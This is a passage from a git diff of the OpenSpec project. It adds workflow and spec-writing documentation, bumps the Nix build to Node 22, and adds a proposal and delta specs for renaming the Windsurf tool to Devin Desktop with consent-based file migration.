allowlisted legacy Codex prompt filenames, and non-interactive `openspec init` removes only the files whose replacement `.agents/skills/openspec-*` skills exist. Non-interactive `openspec update` leaves all legacy cleanup untouched unless you pass `--force`. + +### Commands didn't appear after migrating + +Restart your IDE. Skills are detected at startup. If they still don't appear, run `openspec update` and check the file locations in [Supported Tools](supported-tools.md). + +### My old `project.md` wasn't migrated + +That's intentional. OpenSpec never deletes `project.md` automatically because it may hold context you wrote. Move the useful parts into `config.yaml`'s `context:` section, then delete it yourself. The [Migration Guide](migration-guide.md#migrating-projectmd-to-configyaml) walks through this, including a prompt you can hand to your AI to do the distilling. + +## Still stuck? + +- **Discord:** [discord.gg/YctCnvvshC](https://discord.gg/YctCnvvshC) +- **GitHub Issues:** [github.com/Fission-AI/OpenSpec/issues](https://github.com/Fission-AI/OpenSpec/issues) +- **From your terminal:** `openspec feedback "what went wrong"` opens an issue for you. + +When you report a problem, include your OpenSpec version (`openspec --version`), your Node version (`node --version`), your AI tool, and the exact command and output. It makes help much faster. diff --git a/docs/workflows.md b/docs/workflows.md index 6cfd7e063b..78d27a32c0 100644 --- a/docs/workflows.md +++ b/docs/workflows.md @@ -28,25 +28,123 @@ OPSX (fluid actions): > **Customization:** OPSX workflows are driven by schemas that define artifact sequences. See [Customization](customization.md) for details on creating custom schemas. +## Workflow at a Glance + +The default workflow stays fluid: exploration and verification are optional, and +you can update planning artifacts whenever implementation reveals something new. + +```mermaid +flowchart TD + Idea["Idea or problem"] --> Explore["/opsx:explore
(optional)"] + Idea --> Propose["/opsx:propose"] + Explore --> Propose + Propose --> Review{"Planning artifacts
ready?"} + Review -->|"Refine"| Update["/opsx:update"] + Update --> Review + Review -->|"Implement"| Apply["/opsx:apply"] + Apply -->|"Plan changed"| Update + Apply --> Archive["/opsx:archive"] + Apply --> Verify["/opsx:verify
(optional, custom selection)"] + Apply --> Sync["/opsx:sync
(optional before archive)"] + Verify --> Verified{"Ready to archive?"} + Verified -->|"Fix implementation"| Apply + Verified -->|"Revise plan"| Update + Verified -->|"Ready"| Sync + Verified -->|"Ready"| Archive + Sync --> Archive +``` + +The AI assistant drives the workflow, while the CLI provides deterministic +scaffolding, status, and artifact instructions: + +```mermaid +sequenceDiagram + actor Human + participant Assistant as AI assistant + participant CLI as OpenSpec CLI + participant Files as Planning and implementation files + + Human->>Assistant: /opsx:propose "change" + Assistant->>CLI: openspec new change + CLI->>Files: Scaffold change metadata + Assistant->>CLI: Request status and artifact instructions + CLI-->>Assistant: Build order, paths, and templates + Assistant->>Files: Write schema-defined planning artifacts + Assistant-->>Human: Present artifacts for review + + Human->>Assistant: /opsx:apply + Assistant->>CLI: Request apply instructions + CLI-->>Assistant: Context files and task state + Assistant->>Files: Implement tasks and update checkboxes + Assistant-->>Human: Report implementation status + + Human->>Assistant: /opsx:archive + Assistant->>CLI: Request archive inputs and artifact status + CLI-->>Assistant: Planning paths and artifact completion + Assistant->>Files: Read task state and compare delta specs + opt Delta specs exist + Assistant-->>Human: Offer to sync before archiving + alt Sync accepted + Human->>Assistant: Confirm sync + Assistant->>Files: Merge delta specs into main specs + else Sync skipped + Human->>Assistant: Archive without syncing + end + end + Assistant->>Files: Move the change into the archive + Assistant-->>Human: Report archive location and sync result + + Note over Human,CLI: CLI alternative: openspec archive change-name --yes skips confirmation prompts; it still validates, then applies any delta specs and archives +``` + ## Two Modes ### Default Quick Path (`core` profile) New installs default to `core`, which provides: -- `/opsx:propose` - `/opsx:explore` +- `/opsx:propose` - `/opsx:apply` +- `/opsx:update` +- `/opsx:sync` - `/opsx:archive` Typical flow: ```text -/opsx:propose ──► /opsx:apply ──► /opsx:archive +/opsx:explore ──► /opsx:propose ──► /opsx:apply ──► /opsx:sync ──► /opsx:archive + (optional) ``` +#### Start by exploring (the habit worth forming) + +`/opsx:explore` is part of the default profile, not an advanced add-on. It's the move to make whenever you have a problem but not yet a plan, which, with an AI assistant, is most of the time. + +```text +You: /opsx:explore + +AI: What would you like to explore? + +You: Our search results feel stale. I'm not sure if it's caching, + indexing, or the query itself. + +AI: Let me look... [reads the search service and cache layer] + It's the index: it only rebuilds nightly, so edits don't show + up until the next day. Two options: rebuild on write (simple, + more load) or a short-TTL cache invalidation (more moving parts, + less load). Given your write volume is low, rebuild-on-write is + the cleaner fix. Want to scope it? + +You: Yes. + +You: /opsx:propose rebuild-search-index-on-write +``` + +Explore creates no artifacts and writes no code. It's a free, no-stakes conversation that turns a vague worry into a precise change, so the proposal that follows is sharp. Already know exactly what you want? Skip it and go straight to `/opsx:propose`. Full guide: [Explore First](explore.md). + ### Expanded/Full Workflow (custom selection) -If you want explicit scaffold-and-build commands (`/opsx:new`, `/opsx:continue`, `/opsx:ff`, `/opsx:verify`, `/opsx:sync`, `/opsx:bulk-archive`, `/opsx:onboard`), enable them with: +If you want explicit scaffold-and-build commands (`/opsx:new`, `/opsx:continue`, `/opsx:ff`, `/opsx:verify`, `/opsx:bulk-archive`, `/opsx:onboard`), enable them with: ```bash openspec config profile @@ -434,7 +532,7 @@ For full command details and options, see [Commands](commands.md). | Command | Purpose | When to Use | |---------|---------|-------------| | `/opsx:propose` | Create change + planning artifacts | Fast default path (`core` profile) | -| `/opsx:explore` | Think through ideas | Unclear requirements, investigation | +| `/opsx:explore` | Think through ideas with the AI | Start here when unsure: unclear requirements, investigation, comparing options | | `/opsx:new` | Start a change scaffold | Expanded mode, explicit artifact control | | `/opsx:continue` | Create next artifact | Expanded mode, step-by-step artifact creation | | `/opsx:ff` | Create all planning artifacts | Expanded mode, clear scope | @@ -446,6 +544,9 @@ For full command details and options, see [Commands](commands.md). ## Next Steps +- [Writing Good Specs](writing-specs.md) - What a strong requirement and scenario look like, and how to right-size a change +- [Reviewing a Change](reviewing-changes.md) - The two-minute pass on a drafted plan before any code +- [OpenSpec on a Team](team-workflow.md) - How changes fit branches and pull requests - [Commands](commands.md) - Full command reference with options - [Concepts](concepts.md) - Deep dive into specs, artifacts, and schemas - [Customization](customization.md) - Create custom workflows diff --git a/docs/writing-specs.md b/docs/writing-specs.md new file mode 100644 index 0000000000..a9ff921caf --- /dev/null +++ b/docs/writing-specs.md @@ -0,0 +1,103 @@ +# Writing Good Specs + +You rarely write a spec from a blank page. You describe a change in plain language, `/opsx:propose` drafts the requirements and scenarios, and then you make them good. This page is about that last part — what "good" looks like, and how to steer the AI toward it. + +It's the companion to [Reviewing a Change](reviewing-changes.md): reviewing is catching the weak spots in a draft, writing is knowing what a strong one is made of. + +## A spec is behavior, not code + +A spec says what your system *does*, in terms anyone could check — not how it's built. It's made of **requirements** (statements of behavior) and **scenarios** (concrete examples that prove them). + +```markdown +### Requirement: Session Timeout +The system SHALL expire a session after 30 minutes of inactivity. + +#### Scenario: Idle timeout +- GIVEN an authenticated session +- WHEN 30 minutes pass with no activity +- THEN the session is invalidated and the user must re-authenticate +``` + +Keep the *how* — the queue, the library, the table schema — in `design.md` or the code. When behavior and implementation get mixed into one requirement, the requirement stops being testable and starts going stale the moment the code changes. + +## What makes a good requirement + +A good requirement is one behavior, stated so plainly you could hand it to someone else to test. + +- **One statement, one `SHALL`/`MUST`.** If a requirement has three "and also" clauses, it's really three requirements. Split them. +- **Observable.** Someone outside the code should be able to tell whether it holds. "The system SHALL show an error banner when the upload exceeds 10 MB" is observable. "The system SHALL handle large uploads gracefully" is not. +- **The right strength.** OpenSpec uses the RFC 2119 keywords, and they mean different things: + + | Keyword | Meaning | + |---------|---------| + | `MUST` / `SHALL` | A hard requirement. Non-negotiable. | + | `SHOULD` | A strong recommendation, with room for a justified exception. | + | `MAY` | Genuinely optional. | + + Reach for `MUST`/`SHALL` by default. Use `SHOULD` only when you truly mean "unless there's a good reason not to." + +The test for a requirement: *could a tester who's never seen the code tell whether it passed?* If not, it needs sharpening. + +## What makes a good scenario + +Scenarios are where a requirement earns its keep. Each one is a concrete GIVEN / WHEN / THEN that could become an automated test. + +- **It exercises its requirement.** A scenario that just restates the requirement in other words tests nothing. Make it a specific situation with a specific outcome. +- **Cover the cases that matter, not just the happy path.** The valid login is easy. The empty input, the expired token, the second click, the thing that goes wrong — those are where bugs live, and where a scenario is worth the most. +- **Name the case in the title.** "Scenario: Rejects an expired token" tells a reviewer what's covered at a glance; "Scenario: Test 2" doesn't. + +A useful habit: before approving, ask *what's the one case I'd be upset to see broken?* — and make sure a scenario names it. + +## Pick the right kind of delta + +A change describes its edits to the specs with three section types. Using the right one keeps your archived specs honest: + +- **`## ADDED Requirements`** — brand-new behavior that didn't exist before. +- **`## MODIFIED Requirements`** — behavior that already existed and is changing. Include the full new version; a short note on what changed helps a reviewer. +- **`## REMOVED Requirements`** — behavior going away, with a line on why. + +On archive, ADDED gets appended to the main spec, MODIFIED replaces the old version, and REMOVED is dropped from it. Remove the last requirement a capability has and you retire it: rather than leave a spec with nothing in it, archive deletes `openspec/specs//spec.md`. Because that is the one archive step that removes a file, it has to be asked for — add `retire_capabilities: true` to the change's `.openspec.yaml`, alongside the `schema:` that file already needs. Without it the archive aborts and tells you so. For a spec in the caller's checkout, the archive output also names the `git checkout` that restores a committed file; selected stores receive checkout-scoped recovery guidance instead. If you mark a real change as ADDED, you end up with two competing requirements; if you describe new behavior as MODIFIED, there's nothing to replace. When in doubt, open the current spec and see whether the requirement is already there. + +One more section is worth knowing about. When your delta creates a capability that doesn't exist yet, open it with `## Purpose` — a sentence or two on what the capability is for. Archive uses it as the Purpose of the main spec it creates; skip it and you get a `TBD` placeholder to fill in by hand. An existing spec already has a Purpose, so a delta's is ignored there — edit `openspec/specs//spec.md` directly to change one. Here, `` is the directory relative to `specs/`, such as `user-auth` in a flat project or `identity/user-auth` in a project organized by domain. + +## Right-size the change + +The single most common authoring mistake isn't a badly worded requirement — it's a change that's trying to be three changes. + +**A good change has one intent you can say in a sentence.** "Add a dark-mode toggle." "Rate-limit the login endpoint." "Migrate sessions off cookies." If describing the change needs a lot of "and also," that's the signal to split it. + +Signs a change is too big: + +- The proposal's scope reads like a list of unrelated features. +- Reviewing it would take an afternoon, so nobody will. +- Two people couldn't work on it without colliding. +- Half the tasks could ship on their own. + +Smaller changes are easier to review, easier to build in one focused session, and easier to reason about six months later when the archive is all that's left. You can always run several changes in parallel — see [Editing & iterating](editing-changes.md) and [Workflows](workflows.md). + +The opposite also happens: a one-line typo fix doesn't need three requirements and a design doc. Match the ceremony to the stakes. + +## How to steer the AI toward a good draft + +Because `/opsx:propose` does the first draft, the quality of what you get back tracks the quality of what you give it. You don't have to write requirements by hand — you have to aim the AI well: + +- **State the intent and the boundary.** *"Add a dark-mode toggle that follows the OS setting on first load — don't touch the existing theme API."* The out-of-scope half matters as much as the in-scope half. +- **Name the cases you care about.** *"Make sure there's a scenario for a user who already picked a theme manually."* The AI covers what you point at. +- **Then edit.** It's plain Markdown. Tighten a vague `SHALL`, delete a scenario that tests nothing, add the case it missed — or ask the AI to: *"the timeout requirement is vague, pin it to 30 minutes."* + +Draft, sharpen, repeat. A few rounds of that produces a spec you'd trust, which is the whole point. + +## A quick checklist + +- [ ] Each requirement is one observable behavior with a `SHALL`/`MUST`. +- [ ] No implementation details are baked into the requirements. +- [ ] Every requirement has at least one scenario that actually exercises it. +- [ ] The important edge and error cases have scenarios, not just the happy path. +- [ ] Deltas use ADDED / MODIFIED / REMOVED correctly against the current spec. +- [ ] The whole change has one intent you can state in a sentence. + +## Where to go next + +- [Reviewing a Change](reviewing-changes.md) — the two-minute pass that catches what slipped through. +- [Concepts](concepts.md) — the deeper model behind specs, changes, and deltas. +- [Examples & Recipes](examples.md) — real changes from start to finish. diff --git a/flake.nix b/flake.nix index 90ba68aef9..007c810832 100644 --- a/flake.nix +++ b/flake.nix @@ -39,6 +39,7 @@ ./test ./package.json ./pnpm-lock.yaml + ./pnpm-workspace.yaml ./tsconfig.json ./build.js ./vitest.config.ts @@ -51,11 +52,11 @@ inherit (finalAttrs) pname version src; pnpm = pkgs.pnpm_9; fetcherVersion = 3; - hash = "sha256-9s2kdvd7svK4hofnD66HkDc86WTQeayfF5y7L2dmjNg="; + hash = "sha256-w3nzoSXu6eONUDcuzgbGhA0a5ix5zU1QhNIFwwJPnXs="; }; nativeBuildInputs = with pkgs; [ - nodejs_20 + nodejs_22 npmHooks.npmInstallHook pnpmConfigHook pnpm_9 @@ -97,7 +98,7 @@ { default = pkgs.mkShell { buildInputs = with pkgs; [ - nodejs_20 + nodejs_22 pnpm_9 ]; diff --git a/openspec/changes/add-artifact-regeneration-support/proposal.md b/openspec/changes/add-artifact-regeneration-support/proposal.md deleted file mode 100644 index d855cdc971..0000000000 --- a/openspec/changes/add-artifact-regeneration-support/proposal.md +++ /dev/null @@ -1,136 +0,0 @@ -# Add Artifact Regeneration Support - -## Problem - -Currently, there is **no way to regenerate artifacts** in the OPSX workflow: - -- `/opsx:apply` just reads whatever's on disk -- `/opsx:continue` only creates the NEXT artifact - won't touch existing ones - -If you edit `design.md` after `tasks.md` exists, your only options are: -1. Delete tasks.md manually, then run `/opsx:continue` -2. Edit tasks.md manually - -The documentation claims you can "update artifacts mid-flight and continue" but there's no mechanism that actually supports this. - -## Proposed Solution - -Two parts: - -### Part 1: Staleness Detection -Add artifact staleness detection to `/opsx:apply`: - -1. **Track modification times**: When generating an artifact, record the mtime of its dependencies -2. **Detect staleness**: When `/opsx:apply` runs, check if upstream artifacts (design.md, specs) have been modified since tasks.md was generated -3. **Prompt user**: If stale, ask: "Design was modified after tasks were generated. Would you like to regenerate tasks with `/opsx:continue`?" - -## User Experience - -### Vision: Seamless Mid-Flight Correction - -This is the workflow we want to enable (currently documented but not supported): - -``` -You: /opsx:apply - -AI: Working through tasks... - ✓ Task 1.1: Created caching layer - ✓ Task 1.2: Added cache invalidation - - Working on 1.3: Implement TTL... - I noticed the design assumes Redis, but your project uses - in-memory caching. Should I update the design? - -You: Yes, update it to use the existing cache module. - -AI: Updated design.md to use CacheManager from src/cache/ - Updated tasks.md with revised implementation steps - Continuing implementation... - ✓ Task 1.3: Implemented TTL using CacheManager - ... -``` - -**No restart needed.** Just update the artifact and continue. - -### Staleness Warning UX - -When user manually edits an upstream artifact: - -``` -$ /opsx:apply - -⚠️ Detected changes to upstream artifacts: - - design.md modified 5 minutes ago (after tasks.md was generated) - -Options: -1. Regenerate tasks (recommended) -2. Continue anyway with current tasks -3. Cancel - -> -``` - -### Part 2: Regeneration Capability - -Add a way to regenerate specific artifacts: - -```bash -# Option A: Flag on continue -/opsx:continue --regenerate tasks - -# Option B: Separate command -/opsx:regenerate tasks - -# Option C: Interactive prompt when staleness detected -/opsx:apply -# "Design changed. Regenerate tasks? [y/N]" -``` - -## Technical Approach - -### Option A: Metadata File -Store `.openspec-meta.json` in change directory: -```json -{ - "tasks.md": { - "generated_at": "2025-01-24T10:00:00Z", - "dependencies": { - "design.md": "2025-01-24T09:55:00Z", - "specs/feature/spec.md": "2025-01-24T09:50:00Z" - } - } -} -``` - -### Option B: Frontmatter -Add YAML frontmatter to generated artifacts: -```markdown ---- -generated_at: 2025-01-24T10:00:00Z -depends_on: - - design.md@2025-01-24T09:55:00Z ---- -# Tasks -... -``` - -### Option C: Git-based -Use git to detect if upstream files changed since downstream was last modified. No extra metadata needed but requires git. - -## Non-Goals - -- Automatic regeneration (user should always choose) -- Blocking apply entirely (just warn) -- Tracking code file changes (only artifact dependencies) - -## Dependencies - -- Should be implemented after `fix-midflight-update-docs` so docs are accurate first -- Could be combined with that change if desired - -## Success Criteria - -- User is warned when applying with stale artifacts -- Clear path to regenerate if needed -- No false positives (only warn when genuinely stale) -- Documentation claims become actually true diff --git a/openspec/changes/add-devin-desktop-support/.openspec.yaml b/openspec/changes/add-devin-desktop-support/.openspec.yaml new file mode 100644 index 0000000000..f617bd1867 --- /dev/null +++ b/openspec/changes/add-devin-desktop-support/.openspec.yaml @@ -0,0 +1,2 @@ +schema: spec-driven +created: 2026-06-04 diff --git a/openspec/changes/add-devin-desktop-support/proposal.md b/openspec/changes/add-devin-desktop-support/proposal.md new file mode 100644 index 0000000000..e94310af23 --- /dev/null +++ b/openspec/changes/add-devin-desktop-support/proposal.md @@ -0,0 +1,32 @@ +## Why + +- Windsurf has been [rebranded to **Devin Desktop**](https://docs.devin.ai/desktop/devin-desktop-faq) as of June 2, 2026. Same IDE, same editor, new brand. +- The rebrand moved the config directory: `.devin/` is now the preferred read + write location and `.windsurf/` the legacy read-only fallback, for `rules/`, `workflows/`, `skills/`, and `plans/`. OpenSpec writes only `.windsurf/`, so every Devin install lands in the deprecated path. +- Devin ships two agents. Devin Desktop (Cascade) reads workflows; the [Devin Local agent does not](https://docs.devin.ai/desktop/devin-local) — its docs say to migrate workflows to skills, and it does not read `.windsurf/` at all. An existing Windsurf user's OpenSpec files are therefore invisible to Devin Local entirely. +- Adding `devin` as a *second* tool id alongside `windsurf` would list one product twice in the picker and leave existing users with two parallel installs. This follows the rename instead, matching what OpenSpec already did for Kimi CLI → Kimi Code. + +## What Changes + +- **Rename the tool, don't duplicate it.** `windsurf` is retired as a tool id; `devin` (Devin Desktop) takes its place with `skillsDir: '.devin'` and `detectionPaths: ['.devin', '.windsurf']`. The Windsurf adapter is replaced by a Devin adapter writing `.devin/workflows/opsx-.md`. +- **Keep `--tools windsurf` working.** A `TOOL_ID_ALIASES` map resolves retired ids, so existing setup scripts and CI keep running; they now configure `.devin/`. +- **Migrate existing installs, with consent.** OpenSpec-managed skills (`openspec-*`) and command files (`opsx-*`) under `.windsurf/` move to `.devin/`. `openspec update` explains the rebrand and asks first; `--force` and non-interactive runs take the move. Selecting the tool during `openspec init` is itself consent. Files the user wrote are never touched. +- Route Devin's **skill** bodies and the getting-started hint through the skill-reference transformer so they say `/openspec-*`, the one invocation both Devin agents accept. +- Update the tool reference, invocation, and command-syntax tables in `docs/`, plus the website tool list. + +## Impact + +- **Specs:** `ai-tool-paths`, `cli-init`, `cli-update`, `command-generation` +- **Code:** + - `src/core/command-generation/adapters/devin.ts` (new; `windsurf.ts` deleted) + - `src/core/command-generation/registry.ts`, `adapters/index.ts`, `index.ts` + - `src/core/config.ts` (`AI_TOOLS` row, `TOOL_ID_ALIASES`, `resolveToolIdAlias`) + - `src/core/migration.ts` (`LEGACY_TOOL_ROOTS`, consent-aware migration of skills *and* command files) + - `src/core/init.ts`, `src/core/update.ts` (alias resolution, migration prompt) + - `src/core/legacy-cleanup.ts` (pre-opsx `.windsurf/` files now key to `devin`) + - `src/utils/command-references.ts` (Devin's skill-reference transformer) +- **Docs:** `supported-tools.md`, `cli.md`, `commands.md`, `how-commands-work.md`, `faq.md`, `migration-guide.md`, `opsx.md`, website home page + +## Notes + +- **Who could be affected:** a user still on a pre-rebrand Windsurf build reads only `.windsurf/`. That is why the move is offered rather than taken — declining leaves every file where it is. Declining does mean `.windsurf/` stops being refreshed, which the prompt says plainly. +- The `.devin/` directory also covers `rules/` and `plans/`. OpenSpec writes neither, so they are out of scope and untouched. diff --git a/openspec/changes/add-devin-desktop-support/specs/ai-tool-paths/spec.md b/openspec/changes/add-devin-desktop-support/specs/ai-tool-paths/spec.md new file mode 100644 index 0000000000..9829f48533 --- /dev/null +++ b/openspec/changes/add-devin-desktop-support/specs/ai-tool-paths/spec.md @@ -0,0 +1,137 @@ +# ai-tool-paths Delta Specification + +## ADDED Requirements + +### Requirement: Migrating OpenSpec content out of a renamed tool's former directory + +When a tool's directory is renamed, OpenSpec-managed content left in the former +location SHALL be moved to the current one. Content the user wrote SHALL never +be moved or deleted. + +Some renames are safe to apply silently and some are not, so each former root +declares whether leaving it needs the user's consent. Kimi CLI is gone, so +`.kimi` can be vacated without asking. Windsurf's `.windsurf` cannot: a +pre-rebrand Windsurf build reads only that directory, and nothing on disk +distinguishes that user from one who took the rebrand. + +#### Scenario: Moving a former directory that needs no consent + +- **WHEN** `openspec init` or `openspec update` runs and OpenSpec-managed content is found under a former root marked as needing no consent, such as `.kimi` +- **THEN** move it to the tool's current directory without prompting +- **AND** report what moved + +#### Scenario: Offering a move that needs consent + +- **GIVEN** OpenSpec skills or command files under `.windsurf/` +- **WHEN** `openspec update` runs interactively without `--force` +- **THEN** explain that Windsurf is now Devin Desktop, that `.devin/` is the current directory, and that Devin Local does not read `.windsurf/` at all +- **AND** ask before moving anything +- **AND** on decline, leave every file untouched and state that `.windsurf/` will no longer be refreshed until it is moved + +#### Scenario: Unattended runs take the move + +- **WHEN** `openspec update` runs with `--force`, or non-interactively +- **THEN** perform the move without prompting, reporting what moved + +#### Scenario: Selecting a renamed tool is consent + +- **WHEN** `openspec init` configures a tool that has OpenSpec content under a former root +- **THEN** move that content as part of setup, rather than leaving the user with two installs of one tool + +#### Scenario: Both directories already hold OpenSpec content + +- **GIVEN** the same OpenSpec-managed skill or command exists under both the former and the current root +- **WHEN** the move runs +- **THEN** the copy under the current root SHALL win, rather than being merged or overwritten +- **AND** only the file OpenSpec generated SHALL be removed from the former root — for a skill directory that is `SKILL.md` alone, never the directory and whatever else it holds +- **AND** one rule SHALL govern skills and command files alike: the former copy SHALL be removed only when it is byte-identical to the surviving one +- **AND** a former copy that differs SHALL be left where it is, since the difference may be a customization +- **AND** files left behind for that reason SHALL be reported, so the user knows two copies now exist + +#### Scenario: Every former file differs, so nothing is movable + +- **GIVEN** every OpenSpec-managed file under the former root differs from its counterpart under the current one +- **WHEN** the move runs +- **THEN** report the files left in place, rather than staying silent because nothing moved +- **AND** NOT offer to move anything, since there is nothing movable to consent to +- **AND** NOT report a migration that did not happen + +#### Scenario: One root is a symbolic link to the other + +- **GIVEN** the former and current roots resolve to the same directory, as when a user symlinks one at the other to straddle the rename +- **WHEN** the move runs +- **THEN** recognize that source and destination are the same file and change nothing, rather than deleting the only copy + +#### Scenario: User files survive the move + +- **GIVEN** a former root also holds files the user wrote, such as a hand-written workflow beside the generated ones +- **WHEN** the move runs +- **THEN** move only the files OpenSpec generates — each skill's `SKILL.md` and command files named `opsx-*` +- **AND** delete the former directory only when the move leaves it empty + +#### Scenario: A user file beside a generated skill is not carried into a directory OpenSpec prunes + +- **GIVEN** a former skill directory holds `SKILL.md` alongside a file the user wrote +- **AND** OpenSpec removes whole skill directories it owns, as under commands-only delivery or for a workflow outside the active profile +- **WHEN** the move runs +- **THEN** move `SKILL.md` alone and leave the user's file under the former root +- **AND** never move the enclosing directory, which would hand that file to a later removal + +#### Scenario: The move is idempotent + +- **WHEN** `openspec update` runs again after a completed move +- **THEN** find nothing to migrate and report nothing + +## MODIFIED Requirements + +### Requirement: Path configuration for supported tools + +The `AI_TOOLS` array SHALL include `skillsDir` for tools that support the Agent Skills specification. + +#### Scenario: Claude Code paths defined + +- **WHEN** looking up the `claude` tool +- **THEN** `skillsDir` SHALL be `.claude` + +#### Scenario: Cursor paths defined + +- **WHEN** looking up the `cursor` tool +- **THEN** `skillsDir` SHALL be `.cursor` + +#### Scenario: Windsurf paths defined + +- **GIVEN** RETIRED — Windsurf was rebranded to Devin Desktop and `windsurf` is no longer a tool id +- **WHEN** looking up the `windsurf` tool +- **THEN** no `AI_TOOLS` entry SHALL exist for it +- **AND** the id SHALL resolve to `devin`, whose `skillsDir` is `.devin` and whose `detectionPaths` still include the legacy `.windsurf` + +#### Scenario: Kimi Code paths defined + +- **WHEN** looking up the `kimi` tool +- **THEN** `skillsDir` SHALL be `.kimi-code` +- **AND** OpenSpec-managed skills remaining under the legacy `.kimi/skills` directory SHALL be migrated to `.kimi-code/skills` during init and update, preserving user files + +#### Scenario: Hermes Agent paths defined + +- **WHEN** looking up the `hermes` tool +- **THEN** `skillsDir` SHALL be `.hermes` +- **AND** `setupNote` SHALL explain that project `.hermes/skills` must be added to `skills.external_dirs` in `~/.hermes/config.yaml` +- **AND** `openspec init` and `openspec update` SHALL display the note whenever `hermes` is configured + +#### Scenario: Devin Desktop paths defined + +- **WHEN** looking up the `devin` tool +- **THEN** `skillsDir` SHALL be `.devin` +- **AND** workflow files SHALL be written to `.devin/workflows/opsx-.md` +- **AND** `detectionPaths` SHALL include both `.devin` and the legacy `.windsurf`, so a project set up before the rebrand is still recognized + +#### Scenario: Retired tool ids resolve on the command line + +- **WHEN** a retired brand is named on the command line, such as `--tools windsurf` +- **THEN** it SHALL resolve to the current tool id `devin` rather than erroring as unknown +- **AND** generation SHALL write the current directory `.devin/`, not the retired one + +#### Scenario: Tools without skillsDir + +- **WHEN** a tool has no `skillsDir` defined +- **THEN** skill generation SHALL error with message indicating the tool is not supported diff --git a/openspec/changes/add-devin-desktop-support/specs/cli-init/spec.md b/openspec/changes/add-devin-desktop-support/specs/cli-init/spec.md new file mode 100644 index 0000000000..2b23f76af0 --- /dev/null +++ b/openspec/changes/add-devin-desktop-support/specs/cli-init/spec.md @@ -0,0 +1,72 @@ +# cli-init Delta Specification + +## MODIFIED Requirements + +### Requirement: Skill Generation + +The command SHALL generate Agent Skills for selected AI tools. + +#### Scenario: Generating skills for a tool + +- **WHEN** a tool is selected during initialization +- **THEN** create 9 skill directories under `./skills/`: + - `openspec-explore/SKILL.md` + - `openspec-new-change/SKILL.md` + - `openspec-continue-change/SKILL.md` + - `openspec-apply-change/SKILL.md` + - `openspec-ff-change/SKILL.md` + - `openspec-verify-change/SKILL.md` + - `openspec-sync-specs/SKILL.md` + - `openspec-archive-change/SKILL.md` + - `openspec-bulk-archive-change/SKILL.md` +- **AND** each SKILL.md SHALL contain YAML frontmatter with name and description +- **AND** each SKILL.md SHALL contain the skill instructions + +#### Scenario: Devin skills reference skills rather than workflows + +- **GIVEN** the Devin Local agent does not support workflows and its documentation directs users to skills instead +- **WHEN** generating skills for the `devin` tool +- **THEN** rewrite `/opsx:` references in the skill body to the matching `/openspec-` invocation, which both Devin agents accept +- **AND** the getting-started hint SHALL name `/openspec-propose` rather than a workflow +- **AND** under commands-only delivery, where no Devin skills are written, both the workflow bodies and the hint SHALL fall back to `/opsx-` + +### Requirement: Slash Command Generation + +The command SHALL generate opsx slash commands only for selected tools that have a registered command adapter, while keeping adapterless tools valid for skill generation. + +#### Scenario: Generating slash commands for a tool with a registered adapter + +- **WHEN** a tool with a registered command adapter is selected during initialization +- **THEN** create 9 slash command files using the tool's command adapter: + - `/opsx:explore` + - `/opsx:new` + - `/opsx:continue` + - `/opsx:apply` + - `/opsx:ff` + - `/opsx:verify` + - `/opsx:sync` + - `/opsx:archive` + - `/opsx:bulk-archive` +- **AND** use tool-specific path conventions (e.g., `.claude/commands/opsx/` for Claude) +- **AND** include tool-specific frontmatter format + +#### Scenario: Selected tool has no command adapter + +- **GIVEN** a selected tool has `skillsDir` configured but no registered command adapter +- **WHEN** initialization includes command generation +- **THEN** skill generation for that tool SHALL still remain valid +- **AND** command-file generation SHALL be skipped for that tool +- **AND** the command output SHALL include `Commands skipped for: (no adapter)` + +#### Scenario: Kimi Code skips command-file generation + +- **WHEN** the user selects Kimi Code during initialization +- **THEN** OpenSpec SHALL treat it as a supported tool with `skillsDir: '.kimi-code'` +- **AND** command-file generation SHALL be skipped because no Kimi adapter is registered + +#### Scenario: Generating workflows for Devin Desktop + +- **WHEN** the user selects Devin Desktop during initialization +- **THEN** create one workflow file per profile workflow at `.devin/workflows/opsx-.md` +- **AND** include frontmatter with `name`, `description`, `category`, and `tags` +- **AND** rewrite `/opsx:` references in the body to `/opsx-`, the name Devin registers for a workflow file diff --git a/openspec/changes/add-devin-desktop-support/specs/cli-update/spec.md b/openspec/changes/add-devin-desktop-support/specs/cli-update/spec.md new file mode 100644 index 0000000000..d8227b28e2 --- /dev/null +++ b/openspec/changes/add-devin-desktop-support/specs/cli-update/spec.md @@ -0,0 +1,113 @@ +# cli-update Delta Specification + +## MODIFIED Requirements + +### Requirement: Slash Command Updates + +The update command SHALL refresh existing slash command files for configured tools without creating new ones, and ensure the OpenCode archive command accepts change ID arguments. + +#### Scenario: Updating slash commands for Antigravity +- **WHEN** `.agent/workflows/` contains `openspec-proposal.md`, `openspec-apply.md`, and `openspec-archive.md` +- **THEN** refresh the OpenSpec-managed portion of each file so the workflow copy matches other tools while preserving the existing single-field `description` frontmatter +- **AND** skip creating any missing workflow files during update, mirroring the behavior for Devin Desktop and other IDEs + +#### Scenario: Updating slash commands for Claude Code +- **WHEN** `.claude/commands/openspec/` contains `proposal.md`, `apply.md`, and `archive.md` +- **THEN** refresh each file using shared templates +- **AND** ensure templates include instructions for the relevant workflow stage + +#### Scenario: Updating slash commands for CodeBuddy Code +- **WHEN** `.codebuddy/commands/openspec/` contains `proposal.md`, `apply.md`, and `archive.md` +- **THEN** refresh each file using the shared CodeBuddy templates that include YAML frontmatter for the `description` and `argument-hint` fields +- **AND** use square bracket format for `argument-hint` parameters (e.g., `[change-id]`) +- **AND** preserve any user customizations outside the OpenSpec managed markers + +#### Scenario: Updating slash commands for Cline +- **WHEN** `.clinerules/workflows/` contains `openspec-proposal.md`, `openspec-apply.md`, and `openspec-archive.md` +- **THEN** refresh each file using shared templates +- **AND** include Cline-specific Markdown heading frontmatter +- **AND** ensure templates include instructions for the relevant workflow stage + +#### Scenario: Updating slash commands for Continue +- **WHEN** `.continue/prompts/` contains `openspec-proposal.prompt`, `openspec-apply.prompt`, and `openspec-archive.prompt` +- **THEN** refresh each file using shared templates +- **AND** ensure templates include instructions for the relevant workflow stage + +#### Scenario: Updating slash commands for Crush +- **WHEN** `.crush/commands/` contains `openspec/proposal.md`, `openspec/apply.md`, and `openspec/archive.md` +- **THEN** refresh each file using shared templates +- **AND** include Crush-specific frontmatter with OpenSpec category and tags +- **AND** ensure templates include instructions for the relevant workflow stage + +#### Scenario: Updating slash commands for Cursor +- **WHEN** `.cursor/commands/` contains `openspec-proposal.md`, `openspec-apply.md`, and `openspec-archive.md` +- **THEN** refresh each file using shared templates +- **AND** ensure templates include instructions for the relevant workflow stage + +#### Scenario: Updating slash 